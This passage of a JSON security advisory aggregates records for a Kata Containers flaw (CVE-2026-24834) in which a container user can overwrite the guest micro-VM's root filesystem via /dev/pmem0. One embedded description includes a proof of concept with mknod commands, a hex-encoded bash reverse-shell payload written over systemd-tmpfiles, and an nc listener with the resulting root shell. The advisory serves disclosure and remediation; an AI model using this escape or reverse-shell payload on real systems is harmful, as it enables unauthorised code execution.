focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. In versions prior to 3.27.0, an issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understanding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file). Version 3.27.0 patches the issue.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-24834" }, { "category": "description", "text": "### Summary\n\nAn issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file).\n\n### Details\n\n_Linux virtio-pmem_\nThe `virtio-pmem` probe path always registers the region as a generic pagemap that supports asynchronous flushes, but it never marks the region as read-only. Only the `ND_REGION_PAGEMAP` and `ND_REGION_ASYNC` bits are set before the region is created, so `nd_region->ro always` stays cleared and the block device is left writable.\n\nLater, `pmem_attach_disk()` wires the region into the block layer with full read/write semantics – the block device operations call `pmem_do_write()` which performs cache-flushed memcpy operations directly into the host-provided shared memory window. `nvdimm_check_and_set_ro()` would set the disk read-only if the region had been flagged as such, but because `virtio_pmem` never sets that flag, the helper becomes a no-op.\n\n_Cloud-Hypervisor virtio_pmem_\n`discard_writes=on` causes the file backing the `virtio-pmem` device to be opened read-only and mapped with `MAP_PRIVATE` rather than `MAP_SHARED`. That combination means the guest can modify the private copy of the mapped pages, but those modifications never propagate back to the underlying file. The guest (and Cloud Hypervisor process) will still read the modified data because it lives in the private copy of the mapping, so write-then-read sequences appear to succeed even though nothing is persisted. Once the mapping is dropped or the VM is restarted, those copy-on-write changes disappear, leaving the backing file unchanged.\n\n_Kata /dev/pmem0_\nKata boots each pod/VM by DAX-mapping a read-only guest image from the host into the VM and telling the guest kernel to mount the resulting `/dev/pmem*` device as its root filesystem.\nSince DAX maps the backing file directly into guest memory, there is no way for the hypervisor to intercept or reject individual stores, so a container with sufficient permissions can open `/dev/pmem0` and observe its own writes until the VM is rebooted or the cache is dropped.\n\n### PoC\n\nWhen putting all this together, this means that a user of a Container (not necessarily privileged, we don’t need `CAP_SYS_ADMIN`, but we need `CAP_MKNOD`) can modify the Guest OS filesystem, replacing libraries or binaries to achieve arbitrary code execution outside of the Container. This requires computing offsets of files within the device, which requires information like the partition start sector, sector size in bytes, the filesystem block size, and the physical block index of the file.\n\nTo achieve execution on the Guest, I replaced `/usr/bin/systemd-tmpfiles` with a connect-back shell to `localhost`: timers end up executing 15min after boot.\nI use `debugfs` to not require mounting privileges and work directly with the filesystem on `/dev/pmem0p1` to get the absolute offset of the file to modify in the device.\n\nIf you want a simpler PoC, just `dd` write something into `/dev/pmem0` and observe it's `dd` readable until discarded.\n\n```\nroot@ab5392da44ce:~# mknod /dev/pmem0 b 259 0\nroot@ab5392da44ce:~# mknod /dev/pmem0p1 b 259 1\nroot@ab5392da44ce:~# python pmem.py --file /usr/bin/systemd-tmpfiles --write --pattern 23212f62696e2f626173680a62617368202d69203e26202f6465762f7463702f3132372e302e302e312f34343320303e26310a6578697420300a\n=== Resolution ===\nPartition device: /dev/pmem0p1 (pmem0p1)\nPartition start (sectors): 2048\nSector size (bytes): 512\nPartition start (bytes): 1048576\nFilesystem block size: 4096\nFile path: /usr/bin/systemd-tmpfiles\nFile offset (bytes): 0\nLogical block index: 0\nIntra-block offset: 0\nPhysical block index: 40668\n→ Absolute pmem offset: 167624704\n[*] Raw read (64 bytes at 167624704):\n09fdc000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|\n09fdc010 03 00 3e 00 01 00 00 00 20 66 00 00 00 00 00 00 |..>..... f......|\n09fdc020 40 00 00 00 00 00 00 00 48 82 01 00 00 00 00 00 |@.......H.......|\n09fdc030 00 00 00 00 40 00 38 00 0d 00 40 00 20 00 1f 00 |....@.8...@. ...|\n[+] Wrote 58 bytes at absolute offset 167624704. Verifying...\n09fdc000 23 21 2f 62 69 6e 2f 62 61 73 68 0a 62 61 73 68 |#!/bin/bash.bash|\n09fdc010 20 2d 69 20 3e 26 20 2f 64 65 76 2f 74 63 70 2f | -i >& /dev/tcp/|\n09fdc020 31 32 37 2e 30 2e 30 2e 31 2f 34 34 33 20 30 3e |127.0.0.1/443 0>|\n09fdc030 26 31 0a 65 78 69 74 20 30 0a |&1.exit 0.|\nroot@ab5392da44ce:~# nc -lvp 443\nNcat: Version 7.93 ( https://nmap.org/ncat )\nNcat: Listening on :::443\nNcat: Listening on 0.0.0.0:443\nNcat: Connection from 127.0.0.1.\nNcat: Connection from 127.0.0.1:44880.\nbash: cannot set terminal process group (329): Inappropriate ioctl for device\nbash: no job control in this shell\nroot@localhost:/# \nroot@localhost:/# ps auxw\nps auxw\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 17280 1920 ? Ss 16:16 0:01 /sbin/init\nroot 2 0.0 0.0 0 0 ? S 16:16 0:00 [kthreadd]\nroot 3 0.0 0.0 0 0 ? S 16:16 0:00 [pool_workqueue_release]\nroot 4 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-rcu_gp]\nroot 5 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-sync_wq]\nroot 6 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-slub_flushwq]\nroot 7 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-netns]\nroot 9 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:0H-events_highpri]\nroot 10 0.0 0.0 0 0 ? I 16:16 0:01 [kworker/0:1-events_power_efficient]\nroot 12 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mm_percpu_wq]\nroot 13 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_tasks_trace_kthread]\nroot 14 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/0]\nroot 15 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_sched]\nroot 16 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_par_gp_kthread_worker/1]\nroot 17 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_gp_kthread_worker]\nroot 18 0.0 0.0 0 0 ? S 16:16 0:00 [migration/0]\nroot 19 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/0]\nroot 20 0.0 0.0 0 0 ? S 16:16 0:00 [kdevtmpfs]\nroot 21 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-inet_frag_wq]\nroot 22 0.0 0.0 0 0 ? S 16:16 0:00 [kauditd]\nroot 23 0.0 0.0 0 0 ? S 16:16 0:00 [oom_reaper]\nroot 24 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-writeback]\nroot 25 0.0 0.0 0 0 ? S 16:16 0:00 [kcompactd0]\nroot 26 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-cryptd]\nroot 27 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kblockd]\nroot 28 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:1H]\nroot 29 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:1-events_unbound]\nroot 30 0.0 0.0 0 0 ? S 16:16 0:00 [kswapd0]\nroot 31 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfsalloc]\nroot 32 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfs_mru_cache]\nroot 33 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/u257:0]\nroot 34 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kthrotld]\nroot 36 0.0 0.0 0 0 ? S 16:16 0:00 [irq/25-ACPI:Ged]\nroot 37 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-nfit]\nroot 38 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/0:2-virtio_vsock]\nroot 39 0.0 0.0 0 0 ? S 16:16 0:00 [hwrng]\nroot 40 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:2-events_unbound]\nroot 41 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-vfio-irqfd-cleanup]\nroot 42 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mld]\nroot 43 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ipv6_addrconf]\nroot 81 0.0 0.0 0 0 ? S 16:16 0:00 [jbd2/pmem0p1-8]\nroot 82 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ext4-rsv-conversion]\nroot 99 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:3]\nroot 105 0.0 0.0 62032 2568 ? Ssl 16:16 0:02 /usr/bin/kata-agent\n_chrony 117 0.0 0.0 10692 540 ? S 16:16 0:02 /usr/sbin/chronyd -F 1\n_chrony 120 0.0 0.0 10560 460 ? S 16:16 0:00 /usr/sbin/chronyd -F 1\nroot 122 0.2 1.0 44876 31556 ? S 16:16 0:11 python -m server\nmessage+ 124 0.0 0.0 8120 384 ? Ss 16:16 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only\nroot 129 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/1]\nroot 130 0.0 0.0 0 0 ? S 16:16 0:00 [migration/1]\nroot 131 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/1]\nroot 132 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:0-mm_percpu_wq]\nroot 133 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:0H-events_highpri]\nroot 134 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:1H]\nroot 142 0.0 0.0 5400 2220 pts/0 Ss 16:16 0:00 bash -l\nroot 145 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:1]\nroot 323 0.0 0.1 13212 3448 pts/0 R+ 16:17 0:00 nc -lvp 443\nroot 329 0.0 0.0 4780 256 ? Ss 16:31 0:00 /bin/bash /usr/bin/systemd-tmpfiles --clean\nroot 330 0.0 0.0 5048 512 ? S 16:31 0:00 bash -i\nroot 377 0.0 0.0 7480 256 ? R 17:33 0:00 ps auxw\nroot@localhost:/#\n```\n\n### Impact\nContainer to Guest micro VM Escape (no escape to Host, no persistence of the overwritten image)", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-wwj6-vghv-5p64.json?alt=media" }, { "category": "description", "text": "Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. In versions prior to 3.27.0, an issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understanding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file). Version 3.27.0 patches the issue.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-24834" }, { "category": "description", "text": "Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. In versions prior to 3.27.0, an issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understanding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file). Version 3.27.0 patches the issue.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-24834.json?alt=media" }, { "category": "description", "text": "No description is available for this CVE.\nThis risk posed by this flaw is limited to the Guest VM provided to each Kata Containers container which exists as a second layer of isolation. This flaw has been rated Important because it requires an attacker to have local access to a container in order to execute arbitrary code.", "title": "redhat - https://access.redhat.com/security/cve/CVE-2026-24834" }, { "category": "description", "text": "Kata Container to Guest micro VM privilege escalation in github.com/kata-containers/kata-containers/src/runtime", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4517.json?alt=media" }, { "category": "description", "text": "An issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file).", "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fkata-containers%2Fkata-containers%2Fsrc%2Fruntime%2FCVE-2026-24834.yml/raw" }, { "category": "other", "text": "0.00014", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H", "title": "CVSSV4" }, { "category": "other", "text": "5.2", "title": "CVSSV4 base score" }, { "category": "other", "text": "4.3", "title": "NCSC Score" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd, There is product_remediation data available from source Redhat", "title": "NCSC Score top decreasing factors" }, { "category": "details", "text": "Severity: 3\n", "title": "Vendor assessment" } ], "product_status": { "fixed": [ "CSAFPID-5888522" ], "known_affected": [ "CSAFPID-5634503", "CSAFPID-5636592", "CSAFPID-4479660", "CSAFPID-4479662", "CSAFPID-4479663", "CSAFPID-4479664", "CSAFPID-4660635", "CSAFPID-4660636", "CSAFPID-4660637", "CSAFPID-4660638", "CSAFPID-4660639", "CSAFPID-4660640", "CSAFPID-4660641", "CSAFPID-4660642", "CSAFPID-4660643", "CSAFPID-4660644", "CSAFPID-4660645", "CSAFPID-4660646", "CSAFPID-4660647", "CSAFPID-4660648", "CSAFPID-4660649", "CSAFPID-4660650", "CSAFPID-4660651", "CSAFPID-4660652", "CSAFPID-4660653", "CSAFPID-4660654", "CSAFPID-4660655", "CSAFPID-4660656", "CSAFPID-4660657", "CSAFPID-4660658", "CSAFPID-4660659", "CSAFPID-4660660", "CSAFPID-4660661", "CSAFPID-4660662", "CSAFPID-4660663", "CSAFPID-4660664", "CSAFPID-4660665", "CSAFPID-4660666", "CSAFPID-4660667", "CSAFPID-4660668", "CSAFPID-4660669", "CSAFPID-4660670", "CSAFPID-4660671", "CSAFPID-4660672", "CSAFPID-4660673", "CSAFPID-4660674", "CSAFPID-4660675", "CSAFPID-4660676", "CSAFPID-4660677", "CSAFPID-4660678", "CSAFPID-4660679", "CSAFPID-4660680", "CSAFPID-4660681", "CSAFPID-4660682", "CSAFPID-4660683", "CSAFPID-4660684", "CSAFPID-4660685", "CSAFPID-4660686", "CSAFPID-4660687", "CSAFPID-4660688", "CSAFPID-4660689", "CSAFPID-4660690", "CSAFPID-4660691", "CSAFPID-4660692", "CSAFPID-4660693", "CSAFPID-4660694", "CSAFPID-4660695", "CSAFPID-4660696", "CSAFPID-4660697", "CSAFPID-5491170", "CSAFPID-5491171", "CSAFPID-5491172", "CSAFPID-5491173", "CSAFPID-5491174", "CSAFPID-5643330", "CSAFPID-1439328", "CSAFPID-1920008", "CSAFPID-2905027", "CSAFPID-3036153", "CSAFPID-5197866", "CSAFPID-5197867", "CSAFPID-5677439", "CSAFPID-5888523" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-wwj6-vghv-5p64" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-wwj6-vghv-5p64" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-24834" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/24xxx/CVE-2026-24834.json" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-wwj6-vghv-5p64.json?alt=media" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24834" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-24834" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-24834.json?alt=media" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-24834" }, { "category": "external", "summary": "Source raw - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24834.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24834" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - microsoft", "url": "https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Feb" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4517.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - gitlab", "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fkata-containers%2Fkata-containers%2Fsrc%2Fruntime%2FCVE-2026-24834.yml/raw" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv; redhat", "url": "https://github.com/kata-containers/kata-containers/security/advisories/GHSA-wwj6-vghv-5p64" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv; redhat", "url": "https://github.com/kata-containers/kata-containers/commit/6a672503973bf7c687053e459bfff8a9652e16bf" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv; redhat", "url": "https://github.com/kata-containers/kata-containers/releases/tag/3.27.0" }, { "category": "external", "summary": "Reference - github; gitlab", "url": "https://github.com/advisories/GHSA-wwj6-vghv-5p64" }, { "category": "external", "summary": "Reference - github; gitlab; osv; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24834" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24834.json" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-24834" }, { "category": "external", "summary": "Reference - gitlab", "url": "https://github.com/kata-containers/kata-containers" } ], "remediations": [ { "category": "mitigation", "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.", "product_ids": [ "CSAFPID-1439328", "CSAFPID-1920008", "CSAFPID-2905027", "CSAFPID-3036153" ] } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:P", "baseScore": 9.3, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-1439328", "CSAFPID-1920008", "CSAFPID-2905027", "CSAFPID-3036153", "CSAFPID-4479660", "CSAFPID-4479662", "CSAFPID-4479663", "CSAFPID-4479664", "CSAFPID-4660635", "CSAFPID-4660636", "CSAFPID-4660637", "CSAFPID-4660638", "CSAFPID-4660639", "CSAFPID-4660640", "CSAFPID-4660641", "CSAFPID-4660642", "CSAFPID-4660643", "CSAFPID-4660644", "CSAFPID-4660645", "CSAFPID-4660646", "CSAFPID-4660647", "CSAFPID-4660648", "CSAFPID-4660649", "CSAFPID-4660650", "CSAFPID-4660651", "CSAFPID-4660652", "CSAFPID-4660653", "CSAFPID-4660654", "CSAFPID-4660655", "CSAFPID-4660656", "CSAFPID-4660657", "CSAFPID-4660658", "CSAFPID-4660659", "CSAFPID-4660660", "CSAFPID-4660661", "CSAFPID-4660662", "CSAFPID-4660663", "CSAFPID-4660664", "CSAFPID-4660665", "CSAFPID-4660666", "CSAFPID-4660667", "CSAFPID-4660668", "CSAFPID-4660669", "CSAFPID-4660670", "CSAFPID-4660671", "CSAFPID-4660672", "CSAFPID-4660673", "CSAFPID-4660674", "CSAFPID-4660675", "CSAFPID-4660676", "CSAFPID-4660677", "CSAFPID-4660678", "CSAFPID-4660679", "CSAFPID-4660680", "CSAFPID-4660681", "CSAFPID-4660682", "CSAFPID-4660683", "CSAFPID-4660684", "CSAFPID-4660685", "CSAFPID-4660686", "CSAFPID-4660687", "CSAFPID-4660688", "CSAFPID-4660689", "CSAFPID-4660690", "CSAFPID-4660691", "CSAFPID-4660692", "CSAFPID-4660693", "CSAFPID-4660694", "CSAFPID-4660695", "CSAFPID-4660696", "CSAFPID-4660697", "CSAFPID-5197866", "CSAFPID-5197867", "CSAFPID-5491170", "CSAFPID-5491171", "CSAFPID-5491172", "CSAFPID-5491173", "CSAFPID-5491174", "CSAFPID-5634503", "CSAFPID-5636592", "CSAFPID-5643330", "CSAFPID-5677439", "CSAFPID-5888523" ] } ], "title": "CVE-2026-24834" } ] }